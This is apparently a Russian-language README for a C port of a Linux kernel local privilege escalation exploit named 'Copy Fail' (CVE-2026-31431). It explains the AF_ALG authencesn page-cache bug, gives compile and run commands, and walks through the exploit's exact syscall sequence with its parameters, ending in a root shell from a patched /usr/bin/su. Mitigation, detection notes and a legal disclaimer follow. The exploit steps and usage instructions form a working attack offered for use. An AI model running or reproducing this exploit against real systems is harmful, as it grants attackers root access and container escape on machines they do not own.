Copy Fail (CVE-2026-31431) — это логическая уязвимость в ядре Linux, позволяющая локальному непривилегированному пользователю повысить привилегии до уровня суперпользователя (root). Уязвимость относится к классу Local Privilege Escalation (LPE), не требует сложных условий эксплуатации (таких как race condition или подбор адресов в памяти) и работает "из коробки" на большинстве дистрибутивов Linux, выпущенных после 2017 года.
Данный репозиторий содержит порт оригинального Python-эксплойта на язык C с подробными комментариями, пригодный для статической компиляции и использования в минимальных окружениях.
Уязвимость возникает из-за логической ошибки в криптографической подсистеме ядра Linux, связанной с обработкой AF_ALG (интерфейса криптографического API ядра) и механизма страничного кэша (page cache).
Ошибка была внесена в 2017 году при добавлении оптимизации, которая убрала лишнюю буферизацию через выполнение операций блочного шифрования AEAD (Authenticated Encryption with Associated Data) по месту (in-place). Из-за некорректной обработки границ буферов в алгоритме authencesn (часть криптографического шаблона AEAD) возникает запись 4 байт за пределы выделенного буфера, что приводит к повреждению структур управления страничным кэшем.
В результате ядро может записать данные обратно в страничный кэш файла, даже если он был открыт только для чтения (O_RDONLY).
- Непривилегированный пользователь открывает сокет
AF_ALGи инициализирует AEAD-алгоритмauthencesn(hmac(sha256),cbc(aes)). - Через
setsockopt()устанавливаются аномальные параметры:- Ключ специального формата (манипуляция буферами ядра).
- Размер аутентификационного тега = 4 байта (вместо нормальных 16–32 байт для HMAC-SHA256).
- Через
sendmsg()с control messages инициируется операция расшифрования. - Системный вызов
splice()перемещает данные из целевого файла (открытогоO_RDONLY) в крипто-сокет. - Из-за ошибки в
authencesnстраничный кэш файла повреждается, и "расшифрованные" данные записываются обратно в кэш. - Ядро исполняет модифицированный setuid-файл из страничного кэша, что приводит к выполнению кода с правами
root.
| Компонент | Описание |
|---|---|
| Ядро Linux | Все версии с 2017 года до момента включения исправляющего патча |
| Подсистема | crypto (модуль algif_aead) |
| Интерфейс | AF_ALG — пользовательский доступ к крипто-API ядра |
| Системный вызов | splice() в связке с сокетами AF_ALG |
Уязвимые дистрибутивы (при использовании ядер с загруженным модулем algif_aead):
- Ubuntu (все версии)
- Debian (все версии)
- RHEL / CentOS / Rocky / Alma Linux
- SUSE / openSUSE
- Fedora
- Arch Linux
- Прочие дистрибутивы на базе уязвимых ядер
Особая значимость: в контейнерных средах (Docker, LXC, Kubernetes) процессам внутри контейнера по умолчанию доступна подсистема AF_ALG, если модуль algif_aead загружен в ядре хоста. Это создаёт риск нарушения изоляции контейнера и получения контроля над хостовой машиной.
Проверка уязвимости:
# Проверить, загружен ли модуль algif_aead
lsmod | grep algif
# Проверить наличие AF_ALG в ядре
grep CONFIG_CRYPTO_USER_API_AEAD /boot/config-$(uname -r)Оригинальный эксплойт был написан на Python (≈732 байт). Данный порт на C имеет следующие особенности:
- Статическая компиляция — работает в минимальных окружениях без Python.
- Полная автономность — требуется только стандартная библиотека C и
libz. - Подробные комментарии на русском языке — каждый шаг эксплуатации документирован.
- Идентичное поведение — системные вызовы точно соответствуют Python-версии (проверено через
strace). - Неблокирующий
recv()— предотвращает зависание, повторяя поведениеtry/exceptиз Python.
Ключевые отличия от Python-версии, выявленные при портировании:
| Параметр | Python | C (этот порт) |
|---|---|---|
Флаг sendmsg() |
MSG_MORE |
MSG_MORE |
Флаг splice() |
0 |
0 |
| Смещение в pipe | NULL |
NULL |
| Размер ключа | 40 байт | 40 байт |
cmsg_len |
20/36/20 | 20/36/20 (жёстко) |
| Создание pipe | pipe2(fds, O_CLOEXEC) |
pipe2(fds, O_CLOEXEC) |
recv() |
Блокирующий с try/except |
Неблокирующий (O_NONBLOCK) |
# Требуется libz (zlib1g-dev или zlib-devel)
gcc -o copyfail copyfail.c -lz -static -Wall -O2./copyfailПри успешной эксплуатации будет запущена пропатченная версия /usr/bin/su, предоставляющая root-доступ без запроса пароля.
Ожидаемый вывод:
================================================================
CVE-2026-31431 'Copy Fail' Exploit
================================================================
[+] /usr/bin/su открыт
[+] 40 чанков
[*] 40/40 ок
# id
uid=0(root) gid=0(root) groups=0(root)
Ниже приведён детальный разбор каждого шага эксплойта с указанием соответствующих системных вызовов:
socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(sock, {sa_family=AF_ALG, salg_type="aead",
salg_name="authencesn(hmac(sha256),cbc(aes))"}, 88);Создаётся сокет для доступа к криптографическому API ядра. Алгоритм authencesn (Authenticated Encryption with Sequence Numbers) — это составной AEAD-алгоритм, использующий AES-CBC для шифрования и HMAC-SHA256 для аутентификации.
setsockopt(sock, SOL_ALG, ALG_SET_KEY, key, 40);
setsockopt(sock, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4);- Ключ: 40 байт специального формата, манипулирующих внутренними буферами ядра.
- Размер аутентификационного тега: 4 байта. Нормальное значение для HMAC-SHA256 — 16–32 байта. Аномально маленькое значение приводит к переполнению буфера в ядре.
accept(sock, NULL, NULL); // conn_sock
sendmsg(conn_sock, {payload="AAAA"+data,
cmsg=[(SOL_ALG, 3, 4 нуля), // ALG_SET_OP = DECRYPT
(SOL_ALG, 2, 0x10+19нулей), // ALG_SET_IV
(SOL_ALG, 4, 0x08+3нуля)]}, // ALG_SET_AEAD_ASSOCLEN
MSG_MORE);Создаётся соединение для операции. Через sendmsg() с control messages (CMSG) устанавливаются параметры:
- Операция: расшифрование (
ALG_OP_DECRYPT = 0). - IV: 20 байт (вместо нормальных 16 для AES).
- Ассоциированные данные: 8 байт (без реальной передачи данных).
Все эти аномалии создают несоответствия в управлении памятью ядра.
pipe2(pipe_fds, O_CLOEXEC);
splice(target_fd, &src_off, pipe_fds[1], NULL, o, 0);
splice(pipe_fds[0], NULL, conn_sock, NULL, o, 0);splice() — системный вызов для перемещения данных между файловыми дескрипторами без копирования через userspace. Данные перемещаются на уровне ядра через механизм pipe.
splice(target_fd -> pipe): данные из целевого файла (/usr/bin/su) попадают в pipe.splice(pipe -> conn_sock): данные из pipe поступают в крипто-сокет как "зашифрованный текст".
Ключевой момент: в Python (и в данном порте) смещение для pipe передаётся как NULL, что позволяет ядру автоматически управлять позицией.
fcntl(conn_sock, F_SETFL, O_NONBLOCK);
recv(conn_sock, buf, 8 + t, 0);Вызов recv() заставляет ядро завершить криптографическую операцию. В нормальном режиме здесь вернулись бы расшифрованные данные, но из-за аномальных параметров возвращается ошибка EBADMSG (Python) или EAGAIN (C с O_NONBLOCK). Ошибка игнорируется — повреждение страничного кэша уже произошло на этапе splice().
Страничный кэш (page cache) — это кэш содержимого файлов в оперативной памяти. Когда процесс открывает файл через O_RDONLY, ядро разрешает только чтение из этого кэша. Однако уязвимость позволяет обойти это ограничение:
- Несоответствие размеров буферов: authsize=4 вместо 16–32 создаёт буферы неправильного размера.
- Переполнение буфера: при "расшифровании" данные пишутся за пределы выделенного буфера.
- Повреждение счётчика ссылок: переполнение затрагивает структуры управления страницами (page reference count).
- Запись в кэш: ядро, думая, что страница свободна, записывает туда "расшифрованные" данные.
- Игнорирование O_RDONLY: проверка прав доступа происходит на уровне VFS при вызове
write(), ноsplice()работает на уровне страничного кэша напрямую, минуя эти проверки.
Изменения происходят только в оперативной памяти, а не на диске. Это делает атаку труднообнаружимой стандартными средствами контроля целостности. После перезагрузки или очистки страничного кэша следы атаки исчезают.
Обновить ядро Linux до версии, содержащей исправление.
Отключить модуль algif_aead:
# Запретить загрузку модуля
echo "install algif_aead /bin/false" | sudo tee /etc/modprobe.d/algif_aead.conf
# Выгрузить модуль (если загружен)
sudo rmmod algif_aeadДополнительные рекомендации:
- Ограничить локальный доступ пользователей.
- Использовать мониторинг целостности ядра и системы.
- Применять принцип минимальных привилегий.
- В контейнерных средах запретить доступ к
AF_ALGчерез seccomp-профили.
Нет. Изменения происходят только в страничном кэше (оперативная память). Содержимое файла на диске остаётся неизменным. После перезагрузки системы страничный кэш очищается, и файл возвращается к исходному состоянию.
Обнаружение возможно через:
- Мониторинг системных вызовов (
auditd,strace). - Анализ аномалий в использовании
AF_ALGсокетов. - Контроль целостности файлов в памяти (не на диске).
Стандартные средства контроля целостности (AIDE, Tripwire) не обнаружат изменений, так как файл на диске остаётся неизменным.
Данный код предоставляется исключительно в образовательных и исследовательских целях. Автор не несёт ответственности за любое использование данного кода в противоправных целях. Использование эксплойта без явного разрешения владельца системы является незаконным и может повлечь уголовную ответственность.
Используйте только на системах, которые принадлежат вам, или на системах, где вы имеете явное письменное разрешение на тестирование безопасности.